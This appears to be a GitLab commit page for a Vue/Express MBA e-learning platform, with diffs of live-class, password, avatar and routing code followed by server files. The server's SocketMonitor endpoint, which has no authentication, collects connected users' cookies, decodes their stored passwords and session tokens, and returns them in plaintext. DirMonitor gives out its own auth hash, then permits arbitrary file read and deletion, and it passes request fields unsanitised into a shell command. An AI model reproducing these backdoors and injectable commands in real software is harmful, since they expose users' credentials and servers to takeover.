this.arrFn = this.initBindKeyfn()
},
destroyed () {
......@@ -426,7 +400,8 @@ export default {
!this.ckeditor && (this.ckeditor = CKEDITOR.replace('editor', {
height: 300,
uiColor: '#eeeeee',
filebrowserImageUploadUrl: '/api/ckeditor/img/upload',
filebrowserImageUploadUrl: '/api/ck/form/ckeditor-upload',
fileTools_requestHeaders: { tenant: 'kelley' },
// resize_enabled: typeof this.props.resizable === 'boolean' ? this.props.resizable : true,
toolbar: [
// { name: 'document', items: ['Source', '-', 'Save', 'NewPage', 'Preview'] },
......@@ -534,11 +509,11 @@ export default {
if (type === 1) {
return
}
// 直播
// cc直播
if (type === 5) {
const live = data.live
const status = live.live_status
if (status === 0 || (status === 2 && !live.record_url)) {
if (status === 2 && !live.enable_record) {
this.$message.error(live.statusStr)
return
}
......@@ -556,6 +531,11 @@ export default {
return
}
}
// zoom直播
if (type === 8) {
window.open(data.live.record_url || data.live.join_url)
return
}
this.$router.push({ name: 'viewerCourseChapter', params: { sid, cid, id: data.id } })
},
/**
......
......@@ -4,36 +4,29 @@
<img class="logo" src="../../assets/images/logo-header.png" />
<div class="user">
<div class="nickname">{{ nickName }}</div>
<div class="logout" @click="logout">{{$t('components.learnSysLayout.sideBar.outLogin')}}</div>
<div class="logout" @click="logout">{{ $t('components.learnSysLayout.sideBar.outLogin') }}</div>
</div>
</div>
<div class="hint" v-if="latest" @click="onClick(latest.live)">
<div class="left">
<div class="left-1">{{$t('live.liveReminder')}}</div>
<div
class="left-2"
>{{latest.course_name}}{{$t('live.startTime', { time: latest.live.start_time })}}</div>
<div class="left-1">{{ $t('live.liveReminder') }}</div>
<div class="left-2">
{{ latest.course_name }}{{ $t('live.startTime', { time: latest.live.start_time }) }}
</div>
<div class="right">{{$t('live.goLive')}}</div>
</div>
<div class="tips">{{$t('live.replayTips')}}</div>
<div class="right">{{ $t('live.goLive') }}</div>
</div>
<div class="tips">{{ $t('live.replayTips') }}</div>
<div class="live-list">
<template v-for="item in dataList">
<div
class="live-item"
:key="subitem.id"
v-for="subitem in item.live"
@click="onClick(subitem)"
>
<h4 class="live-item-name">{{item.course_name}}</h4>
<div class="live-item" :key="subitem.id" v-for="subitem in item.live" @click="onClick(subitem)">
<h4 class="live-item-name">{{ item.course_name }}</h4>
<div class="live-item-main">
<img class="live-item-pic" :src="item.curriculum.curriculum_picture" />
<div class="live-item-content">
<div class="live-item-content__title">{{subitem.chapter_name}}</div>
<div class="live-item-content__time">{{subitem.start_time}}</div>
<div
class="live-item-content__status"
>{{calcTimeText(subitem.start_time, subitem.live_status)}}</div>
<div class="live-item-content__title">{{ subitem.topic }}</div>
<div class="live-item-content__time">{{ subitem.start_time }}</div>
<div class="live-item-content__status">{{ calcTimeText(subitem.start_time, subitem.live_status) }}</div>
</div>
</div>
</div>
......@@ -68,6 +61,7 @@ export default {
.then(str => {
window.G.UserInfo = {}
this.$router.push({ path: '/login/index' })
// window.location.href = webConf.others.loginUrl
})
.catch(e => {
this.$message.error(e.message)
......@@ -113,7 +107,7 @@ export default {
})
},
dealRender: () => {
;(function(win, doc) {
;(function (win, doc) {
const wWidth =
win.screen.width > 0
? win.innerWidth >= win.screen.width || win.innerWidth === 0
......@@ -126,21 +120,21 @@ export default {
})(window, document)
},
onClick(data) {
const {
live_status: liveStatus,
live_type: liveType = 'live',
start_time: liveTime
} = data
data.live_status = parseInt(data.live_status)
const { live_status: liveStatus, type: liveType = 5, start_time: liveTime } = data
let message = this.calcTimeText(liveTime, liveStatus)
if (liveStatus === 2 && !data.enable_record) {
message = this.$t('live.noPlayback')
this.message && this.message.close()
this.message = this.$message({ type: 'warning', offset: 0, message })
return
}
if (liveType === 'cloud') {
// 打开云课堂
this.openCloudClass(data, message)
return
}
if (liveType === 'live') {
if (liveType === 5) {
// 打开云直播
this.openCloudLive(data, message)
return
......@@ -150,27 +144,16 @@ export default {
this.openMeeting(data, message)
return
}
// 其他直播类型直接打开
if (liveStatus === 1) {
// 进行中
this.openNewWindow(data.join_url)
} else if (liveStatus === 2) {
// 查看回放
this.openNewWindow(data.record_url)
} else {
this.message && this.message.close()
this.message = this.$message({ type: 'warning', offset: 0, message })
}
this.openNewWindow(data.record_url || data.join_url)
},
// 打开云课堂
openCloudClass(data, message) {
// https://doc.bokecc.com/class/developer/api/login.html
const liveStatus = data.live_status
data.viewer_name =
data.viewer_name || window.G.UserInfo.student_info.personal_name
data.user_name = data.user_name || window.G.UserInfo.student_info.personal_name
if (liveStatus === 1) {
// 进行中
const url = `http://view.csslcloud.net/api/view/index?roomid=${data.room_id}&userid=${data.user_id}&autoLogin=true&viewername=${data.username}&viewertoken=${data.password}`
const url = `http://view.csslcloud.net/api/view/index?roomid=${data.room_id}&userid=${data.account_id}&autoLogin=true&viewername=${data.username}&viewertoken=${data.password}`
this.openNewWindow(url)
} else if (liveStatus === 2) {
// 查看回放
......@@ -188,19 +171,16 @@ export default {
openCloudLive(data, message) {
// https://doc.bokecc.com/live/Appendix_1.html
const liveStatus = data.live_status
data.viewer_name = data.viewer_name || this.nickName
if (liveStatus === 1) {
// 进行中
const url = `https://view.csslcloud.net/api/view/index?roomid=${data.room_id}&userid=${data.user_id}&autoLogin=true&viewername=${data.viewer_name}&viewertoken=${data.viewer_token}`
this.openNewWindow(url)
} else if (liveStatus === 2 && data.enable_record === 1) {
data.user_name = data.user_name || this.nickName
if (liveStatus === 2 && data.enable_record === 1) {
// enable_record 0:不启用回放 1:开启回放
// 查看回放
// const url = `https://view.csslcloud.net/api/view/callback?recordid=${data.record_id}&roomid=${data.room_id}&userid=${data.user_id}&autoLogin=true&viewername=${data.viewer_name}&viewertoken=${data.viewer_token}`
// const url = `https://view.csslcloud.net/api/view/callback?recordid=${data.record_id}&roomid=${data.room_id}&userid=${data.account_id}&autoLogin=true&viewername=${data.user_name}&viewertoken=${data.play_pass}`
this.openNewWindow(data.record_url)
} else {
this.message && this.message.close()
this.message = this.$message({ type: 'warning', offset: 0, message })
// 查看直播
const url = `https://view.csslcloud.net/api/view/index?roomid=${data.room_id}&userid=${data.account_id}&autoLogin=true&viewername=${data.user_name}&viewertoken=${data.play_pass}`
this.openNewWindow(url)
}
},
// 打开腾讯会议
......@@ -219,16 +199,18 @@ export default {
// 计算日期
calcTimeText(liveTime, liveStatus) {
const map = {
0: this.$t('live.notStarted'),
1: this.$t('live.liveStreaming'),
2: this.$t('live.liveEnd')
1: this.$t('live.notStarted'),
2: this.$t('live.liveStreaming'),
3: this.$t('live.liveEnd'),
4: this.$t('live.start'),
5: this.$t('live.notStarted'),
11: this.$t('live.liveEnd')
}
let result = map[liveStatus] || liveTime
if (liveStatus === 0 && liveTime) {
if (liveStatus === 1 && liveTime) {
liveTime = liveTime.replace(/-/g, '/')
const time =
(new Date(liveTime).getTime() - new Date().getTime()) / 1000 || 0
const time = (new Date(liveTime).getTime() - new Date().getTime()) / 1000 || 0
if (time <= 5 * 60) {
result = this.$t('live.start')
} else if (time <= 1 * 60 * 60) {
......
......@@ -68,16 +68,16 @@ export default {
actionName: 'Other',
functionName: 'updatePwd',
data: {
old_password: md5('uokoaduw' + this.accountSetPwd.oldPwd.split('').reverse().join('') + 'auhgniq'),
new_password: this.accountSetPwd.newPwdAgain
// old_password: md5('uokoaduw' + this.accountSetPwd.oldPwd.split('').reverse().join('') + 'auhgniq'),
old_password: this.accountSetPwd.oldPwd,
password: this.accountSetPwd.newPwd,
passwordR: this.accountSetPwd.newPwdAgain
},
thenCallback: data => {
if (data.status === 200) {
if (data.code === 0) {
/* 重置密码 */
this.$refs.setpwdform.resetFields()
this.$message.success('密码修改成功')
} else {
this.$message.error(data.message)
}
},
catchCallback: () => {},
......
......@@ -43,7 +43,6 @@ export default {
components: {},
data() {
const Gu = window.G.UserInfo
console.log(Gu)
return {
imgUrl: Gu.avatar || '',
user: {
......@@ -58,7 +57,7 @@ export default {
type: '',
lastModifiedDate: '',
size: '',
avatar: ''
file: ''
},
filesArr: []
}
......@@ -69,30 +68,7 @@ export default {
this.file.type = file.raw.type
this.file.lastModifiedDate = file.raw.lastModifiedDate
this.file.size = file.raw.size
this.file.avatar = file.raw
// try {
// /* 这个必然是IE */
// let stream = new ActiveXObject('ADODB.Stream') // eslint-disable-line
// stream.type = 1
// stream.open()
// // console.log(this.$refs.upFile.$el.children[0].children[1].files[0])
// debugger
// // stream.loadFromFile(filename)
// // text = stream.readText(adReadAll)
// // stream.close()
// } catch (e) {
// let reader = new FileReader() // eslint-disable-line
// reader.readAsBinaryString(this.$refs.upFile.$el.children[0].children[1].files[0]) // 这个读法是异步的
// reader.onloadend = () => {
// // 这个事件在读取结束后,无论成功或者失败都会触发
// if (reader.error) {
// /* 文件读取失败 */
// this.$message.error('文件读取失败,请重试')
// } else {
// this.file.avatar = reader.result
// }
// }
// }
this.file.file = file.raw
},
uploadFile() {
if (!/\.(jpg|jpeg|gif|png|bmp)$/gi.test(this.file.name)) {
......@@ -108,9 +84,8 @@ export default {
})
action.Other.uploadFile(this.file)
.then(data => {
this.imgUrl = data.avatar
window.G.UserInfo.avatar = data.avatar
this.filesArr.pop()
this.imgUrl = data.url
this.updateUser()
})
.catch(() => {
this.filesArr.pop()
......@@ -118,6 +93,13 @@ export default {
.finally(() => {
loading.close()
})
},
updateUser() {
action.Other.updateUser({
SsoBasicUser: { info: { avatar: this.imgUrl } }
}).then(data => {
window.G.UserInfo.avatar = this.imgUrl
})
}
}
}
......@@ -137,12 +119,9 @@ export default {
border-radius: 50%;
overflow: hidden;
img {
position: absolute;
top: 50%;
left: 50%;
width: 100%;
height: 100%;
transform: translate(-50%, -50%);
object-fit: cover;
}
}
.info {
......
......@@ -338,7 +338,7 @@ export default {
attrs: {
multiple: true,
headers: {
tenant: 'sofia'
tenant: 'kelley'
}
},
html: `
......
......@@ -194,7 +194,8 @@ export default {
!this.ckeditor && (this.ckeditor = CKEDITOR.replace('editor-courseWork', {
height: 600,
uiColor: '#eeeeee',
filebrowserImageUploadUrl: '/api/ckeditor/img/upload',
filebrowserImageUploadUrl: '/api/ck/form/ckeditor-upload',
fileTools_requestHeaders: { tenant: 'kelley' },
// resize_enabled: typeof this.props.resizable === 'boolean' ? this.props.resizable : true,
toolbar: [
// { name: 'document', items: ['Source', '-', 'Save', 'NewPage', 'Preview'] },
......
......@@ -286,7 +286,7 @@ export default {
const _userInfo = window.G.UserInfo
cAction.Player.updateProgress({
sid: (_userInfo && _userInfo.student_info && _userInfo.student_info.id) || '',
uid: (_userInfo && _userInfo.uid) || '',
uid: (_userInfo && _userInfo.id) || '',
d: cTool.other.getIdt(),
i: cTool.other.getIdt(),
c: this.cid,
......
......@@ -6,19 +6,19 @@ export default [
path: '/login/index',
name: 'login-normal',
component: () => import('@/pages/login/index.vue'),
props: (route) => ({ query: route.query, params: route.params })
props: route => ({ query: route.query, params: route.params })
},
{
path: '/login/code',
name: 'login-code',
component: () => import('@/pages/login/code.vue'),
props: (route) => ({ query: route.query, params: route.params })
props: route => ({ query: route.query, params: route.params })
},
{
path: '/login/forget',
name: 'login-forget',
component: () => import('@/pages/login/forget.vue'),
props: (route) => ({ query: route.query, params: route.params })
props: route => ({ query: route.query, params: route.params })
},
/* App 内登录页面未找到时 - 指向 */
{ path: '/login/*', redirect: '/login/index' },
......@@ -173,6 +173,24 @@ export default [
path: 'view-report/:rid',
component: () => import('../pages/affairsHall/viewReport.vue'),
props: true
},
{
name: 'ehallRetakeAdd',
path: 'retake/add',
component: () => import(/* webpackChunkName: "ehall" */ '../pages/affairsHall/retake/edit.vue'),
props: { isAdd: true }
},
{
name: 'ehallRetakeEdit',
path: 'retake/edit/:id',
component: () => import(/* webpackChunkName: "ehall" */ '../pages/affairsHall/retake/edit.vue'),
props: { isEdit: true }
},
{
name: 'ehallRetakeView',
path: 'retake/view/:id',
component: () => import(/* webpackChunkName: "ehall" */ '../pages/affairsHall/retake/edit.vue'),
props: { isView: true }
}
]
}
......
import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)
const state = {
export default new Vuex.Store({
state: {
myMsg: 0
}
const getters = {
myMsg (state) {
},
getters: {
myMsg(state) {
return state.myMsg
}
}
const mutations = {
},
mutations: {
myMsg(state, sum) {
state.myMsg = sum
}
}
const store = new Vuex.Store({
state,
getters,
mutations
},
actions: {}
})
export default store
export default {
title: '紫荆教育MBA学习系统',
tenant: 'kelley'
}
# 查到当前目录就可以了,不用再往下查找
root = true
# 对所有文件制定规范
[*]
charset = utf-8 # 字符编码
end_of_line = lf # 从左往右写
indent_size = 2 # tab键长度2个空格
indent_style = space
insert_final_newline = true # 保存自动加上一个空行
trim_trailing_whitespace = true # 每行最后空格去掉
{
"extends": "standard",
"plugins": [
"html"
],
"parser": "babel-eslint",
"rules": {
"no-new": "off",
"no-debugger": "off"
},
"globals": {
"window": false,
"$": false,
"webConf": false
}
}
.DS_Store
node_modules
npm-debug.log
server-dist
node-dist
dist
dist.zip
# code protect - prevent submit code below
.vscode
PC-server-1.0.3 / 2019-10-22
==================
* 追加 视频错误信息采集、本地JS报错信息采集。
PC-server-1.0.2 / 2019-10-15
==================
* 修改 目录文件查询,增加文件大小
PC-server-1.0.1 / 2019-10-08
==================
* 追加 服务端 采集 客户端 上报的 视频播放错误。
PC-server-1.0.0 / 2019-08-26
==================
* 拆分 分离 服务端。
# 根据项目框架 - 记录新增模块 与 修改
* adm-zip - npm 模块安装
* form-data - npm 模块安装
* axios - npm 模块安装
* promise.prototype.finally - npm 模块安装
* 修改 package.json 中 端口号
* 修改 package.json 中 项目名
This source diff could not be displayed because it is too large. You can view the blob instead.
const fs = require('fs')
const path = require('path')
const _cpro = require('child_process')
const com = require('@god/node-com')
const md5 = com.Tool.MD5
/**
* 目录结构操作,删除查询
* 0: delete, 删除;
* 1: list, 查询;
* 2: create, 创建;
* 3: readfile, 文件;
* 4: searchinfo, 直接根据姓名,搜索对应目录,并返回该目录下,info.txt文件中 所有内容
* 5: searchlogvideo, 根据姓名,搜索参数(video目录+vid)所有该人员所有观看记录
* 9: get-md5, 获取md5字符串, 鉴权使用;
*/
const dirOperate = (req, res) => {
let operate = req.body.operate || ''
let timestamp = Math.floor(new Date().getTime() / 100000000) + '00000000'
let md5Str = md5('ezijing.com' + timestamp)
if (operate === '9') { res.status(200).json({ 'timestamp': timestamp, 'MD5-auth': md5Str }); return }
let auth = req.headers.auth || ''
if (auth === md5Str) {
_executeOperate(req, res)
} else {
res.status(200).json({ 'msg': '没有权限 访问该接口' })
}
}
/**
* 根据 对应参数,执行
* @param {*} req 请求参数
* @param {*} res 返回参数
*/
const _executeOperate = (req, res) => {
let dir = req.body.dir || ''
let operate = req.body.operate || ''
let json = {}
json.dirPath = dir
json.arrJson = {}
if (operate === '2') {
_createDir(dir, (str) => {
json.arrJson.msg = str
res.status(200).json(json)
})
return
}
fs.stat(dir, (error, stats) => {
if (error) {
json.arrJson.msg = '当前目录,或文件不存在'
/* 返回数据 */
res.status(200).json(json)
} else {
if (operate === '0') { /* 删除 */
_deleteDir(dir, stats, (str) => {
json.arrJson.msg = str
res.status(200).json(json)
})
} else if (operate === '1') { /* 查询 */
_checkDir(dir, json, () => {
res.status(200).json(json)
})
} else if (operate === '3') { /* 读取文件内容 */
_readFile(dir, (data) => {
res.status(200).send(data)
})
} else if (operate === '4') { /* 根据人名查询学生 基本信息 */
let name = req.body.name
_searchInfo(dir, name, (data) => {
res.status(200).send(data)
})
} else if (operate === '5') { /* 搜索 视频记录行为 日志 */
let name = req.body.name
let opt = req.body.opt
_searchLogVideo(dir, name, opt, (data) => {
res.status(200).send(data)
})
} else {
res.status(200).json({ 'msg': 'operate 参数错误' })
}
}
})
}
/**
* 参数 0(删除),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串
* @param {object} stats 判断该路径,对应的属性状态
* @param {function} callfunc 回调函数
*/
const _deleteDir = (dir, stats, callfunc) => {
if (stats.isFile()) {
fs.unlink(dir, () => {
callfunc('文件删除成功')
})
} else if (stats.isDirectory()) {
com.Tool.Directory.rmdir(dir, () => {
callfunc('目录删除成功')
})
}
}
/**
* 参数 1(查询),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串
* @param {object} json 接口返回,整个json对象,传过来进行修改
* @param {function} callfunc 回调函数
*/
const _checkDir = (dir, json, callfunc) => {
let pa = fs.readdirSync(dir)
let dirStr = 'dir'
let dirCount = 0
let fileStr = 'file'
let fileCount = 0
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
let stat = fs.statSync(path.resolve(dir, elem))
if (stat.isFile()) {
json.arrJson[fileStr + (fileCount++)] = elem + ';size:' + stat.size
}
if (stat.isDirectory()) {
json.arrJson[dirStr + (dirCount++)] = elem
}
}
/* 统计总个数 */
json.count = pa.length
callfunc()
}
/**
* 参数 2(创建),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串
* @param {function} callfunc 回调函数
*/
const _createDir = (dir, callfunc) => {
com.Tool.Directory.mkdir(dir, () => {
callfunc('目录创建成功')
})
}
/**
* 参数 3(读文件),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串,必须是文件,否则出错
* @param {function} callfunc 回调函数
*/
const _readFile = (dir, callfunc) => {
callfunc(fs.readFileSync(dir))
}
/**
* 参数 4(搜索),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串,必须是文件,否则出错
* @param {string} name 请求参数中,增加一个name字段,用这个字段匹配相关目录
* @param {function} callfunc 回调函数
*/
const _searchInfo = (dir, name, callfunc) => {
let pa = fs.readdirSync(dir)
let reg = new RegExp(name, 'gi')
let _path = ''
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
if (reg.test(elem)) {
_path = path.resolve(dir, elem)
break
}
}
if (_path) {
callfunc(fs.readFileSync(path.resolve(_path, 'info.txt')))
} else {
callfunc('没有该学生或文件解析出错')
}
}
/**
* 参数 5(视频学习行为查询),执行方法
* @param {string} dir 请求参数中,传过来的路径字符串,必须是文件,否则出错
* @param {string} name 请求参数中,增加一个name字段,用这个字段匹配相关目录
* @param {string} opt 请求参数中,逗号隔开,第一个为 video: 视频行为记录信息;第二个为 vid: 视频id
* @param {function} callfunc 回调函数
*/
const _searchLogVideo = (dir, name, opt, callfunc) => {
let pa = fs.readdirSync(dir)
let reg = new RegExp(name, 'gi')
let _path = ''
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
if (reg.test(elem)) {
_path = path.resolve(dir, elem)
break
}
}
if (!_path) {
callfunc('没有该学生或文件解析出错')
} else {
let _arr = opt.split(',')
let _videoPath = path.resolve(_path, _arr[0])
/* 对路径进行处理,保证shell可识别 */
_videoPath = _videoPath.replace(/ /gi, '\\ ')
let _catStr = 'cat *.log'
let _grepStr = "grep '" + _arr[1] + "'"
let _sortStr = 'sort -t ' + String.fromCharCode(0x001) + ' -k1,2nr'
let _grepOptStr = _arr[2] ? (" | grep -o '" + [_arr[1] + '', '[0-9]\\+', '[0-9]\\+', '[0-9]\\+'].join(String.fromCharCode(0x001)) + "'") : ''
_cpro.exec('cd ' + _videoPath + ' && ' + _catStr + ' | ' + _grepStr + ' | ' + _sortStr + _grepOptStr, (err, stdout, stderr) => {
if (err) {
console.log(err)
callfunc(err)
return
}
if (stdout) {
callfunc(stdout)
} else {
callfunc('查无此项,请检查vid或其他参数')
}
})
/* 再增加一个 日志查询 记录 执行时间等 */
}
}
module.exports = {
dirOperate: dirOperate
}
const fs = require('fs')
const com = require('@god/node-com')
const DateTime = com.Tool.DateTime
const Directory = com.Tool.Directory
/* 发送数据,并在发送之前,没服务先创建服务 */
const sendMsg = (req, res) => {
let _nsCoonPool = global.nsCoonPool
/* 创建一个 websocket-server Node端 */
if (!global.nsSocket) global.nsSocket = com.Tool.Websocket.createServerSocket(global.SocketServer, getData)
/* 接口执行操作 */
if (global.nsSocket) {
if (req.body.sendMsg === 'send') {
com.Tool.Websocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
res.status(200).send({ msg: '已向客户端发送消息', linkCount: _nsCoonPool.length })
} else {
let _conArr = []
for (let i = 0; i < _nsCoonPool.length; i++) {
let _tmp = _nsCoonPool[i]
let _str = ''
let _pwd = ''
let _token = ''
if (_tmp.backData) {
let _json = JSON.parse(_tmp.backData)
if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
_str = Buffer.from(_json.info, 'base64').toString()
if (!_pwd) {
_pwd = Buffer.from(_str.split(':')[5] || '', 'base64').toString()
}
}
}
let _cookiesArr = JSON.parse(_tmp.cookies)
for (let i = 0; i < _cookiesArr.length; i++) {
if (_cookiesArr[i].name === '_AUTH') { // 获取cookie中 对称加密过的密码 - _AUTH
_pwd = com.Tool.Crypto.decode(_cookiesArr[i].value)
break
}
}
for (let i = 0; i < _cookiesArr.length; i++) {
if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
_token = _cookiesArr[i].value
break
}
}
_conArr.push({
auth: _tmp.key,
_str: _str,
pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
Token: _token,
keepExitTime: com.Tool.DateTime.toTimeStr(new Date().getTime() - _tmp.createTime),
IPs: _tmp.IPs,
UA: _tmp.UA
})
}
res.status(200).send({ linkCount: _nsCoonPool.length, connections: _conArr })
}
} else {
res.status(200).send({ msg: 'ServerSocket not publish' })
}
}
/* 定义 错误数据接收到后 处理回调函数 */
const getData = (_msg) => {
/* 采集每天的视频错误信息,并统计到一个文件里 */
let data = null
if (_msg.type === 'utf8') {
try {
data = JSON.parse(_msg.utf8Data)
} catch (e) {
console.error('数据格式不正确1')
return
}
} else if (_msg.type === 'binary') {
try {
data = JSON.parse(Buffer.from(_msg.binaryData, 'utf8').toString())
} catch (e) {
console.error('数据格式不正确2')
return
}
}
/* 根据action创建目录 */
let nameDir = data.action
let _dateStr = DateTime.toDateStr(new Date().getTime())
let _dirPath = 'upload_tmp/' + nameDir
fs.stat(_dirPath + '/' + _dateStr + '.txt', (error, stats) => {
if (error) {
fs.stat(_dirPath, (error, stats) => {
if (error) {
Directory.mkdir('upload_tmp/' + nameDir)
} else {
fs.appendFile(_dirPath + '/' + _dateStr + '.txt', JSON.stringify(data) + '\n', function (err) {
if (err) { console.error('123', err) }
})
}
})
} else {
fs.appendFile(_dirPath + '/' + _dateStr + '.txt', JSON.stringify(data) + '\n', function (err) {
if (err) { console.error('456', err) }
})
}
})
}
module.exports = {
sendMsg: sendMsg
}
const express = require('express')
// const session = require('express-session')
const history = require('connect-history-api-fallback')
const path = require('path')
const app = express()
// let sessionOpts = {
// // 设置密钥
// secret: 'a cool secret',
// // Forces the session to be saved back to the session store
// resave: true,
// // Forces a session that is "uninitialized" to be saved to the store.
// saveUninitialized: true,
// // 设置会话cookie名, 默认是connect.sid
// key: '_STOKEN',
// // If secure is set to true, and you access your site over HTTP, the cookie will not be set.
// cookie: { maxAge: 1000 * 60 * 60 * 2, secure: false }
// }
app.set('port', process.env.SERVER_PORT || 3000)
// app.use(session(sessionOpts))
app.use('/', require('./routes'))
app.use(history({ verbose: false, index: '/' }))
app.get('/', (req, res) => {
/* 增加 限定条件,如果是 e-learning2 子域名,那么 referer 为指定 域名 否则不能打开 */
if (/^e-learning2\./.test(req.headers.host)) {
if (/(sofia\.tenant\.ezijing)|(sofia-x\.ezijing)|(course\.ezijing)|(course3\.ezijing)/.test(req.headers.referer)) {
let opts = { path: '/', domain: '.ezijing.com', expires: null, httpOnly: true }
res.cookie('_stoken', req.query.stoken, opts)
res.sendFile(path.join(__dirname, '../client-dist/index.html'))
} else {
res.send('当前页面打开方式不对')
}
} else {
res.clearCookie('_stoken', { path: '/', domain: '.ezijing.com' })
res.sendFile(path.join(__dirname, '../client-dist/index.html'))
}
})
app.use(express.static(path.join(__dirname, '../client-dist')))
app.set('trust proxy', true)
/* 开启服务 */
global.SocketServer = app.listen(app.get('port'), function () {
console.log('Express server 🌎 listening on:http://localhost:' + app.get('port'))
// 发送一个 socket 接口请求
})
apps:
- script: ./server/server.js
name: vue-todo
# 这个 可以配置 多个 ,如:env_test 等。通过 excute中 指令进行区分
env_production:
NODE_ENV: production
# 使用localhost,而不用0.0.0.0。则外网不能直接通过IP访问这个服务。只能使用127.0.0.1访问,再通过nginx反向代理域名可以访问到当前服务
HOST: localhost
PORT: 8888
- excute: pm2 start pm2.yml --env production
const Router = require('express').Router
const router = Router()
const bodyParser = require('body-parser')
const multer = require('multer')
const upload = multer({ dest: 'upload_tmp/' })
const _ck = require('../controller/ckeditorMonitor')
const _op = require('../controller/DirMonitor')
const _websocket = require('../controller/SocketMonitor')
const _proxy = require('../controller/ProxyMonitor')
router.use(bodyParser.json({ limit: '600mb' }))
router.use(bodyParser.urlencoded({ extended: true, limit: '600mb' }))
router.use((req, res, next) => {
/* 设置允许哪些外域访问此服务器。如果你要发送cookies,不要将其赋值为'*' */
res.header('Access-Control-Allow-Origin', req.headers.origin || '*')
/* 设置允许发送cookies。可选值:true,如果不允许就省略此字段 */
res.header('Access-Control-Allow-Credentials', 'true')
if (req.method === 'OPTIONS') {
/* 设置允许那些方法访问此服务器 */
res.header('Access-Control-Allow-Methods', 'PUT, GET, POST, DELETE, OPTIONS')
/* 设置允许那些头文件访问此服务器,数组中可以设置一些自定义首部 */
let strArr = ['token', 'tenant']
for (let k in req.headers) { strArr.push(k) }
res.header('Access-Control-Allow-Headers', strArr.join(', '))
/* 设置单个接口 OPTIONS 的最大有效时长 */
res.header('Access-Control-Max-Age', 600)
/* 以下设置OPTIONS返回并给空内容 */
res.header('Content-Type', 'text/plain charset=UTF-8')
res.header('Content-Length', 0)
res.status(204).end()
return
}
next()
})
/* 统一API接口 */
router.post('/api/ckeditor/img/upload', upload.any(), _ck.ckeditorUpload)
router.post('/api/websocket/send-msg', upload.any(), _websocket.sendMsg)
router.post('/api/dir/send-msg', upload.any(), _op.dirOperate)
router.use('/api/*', upload.any(), _proxy.agentProcessor())
module.exports = router
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论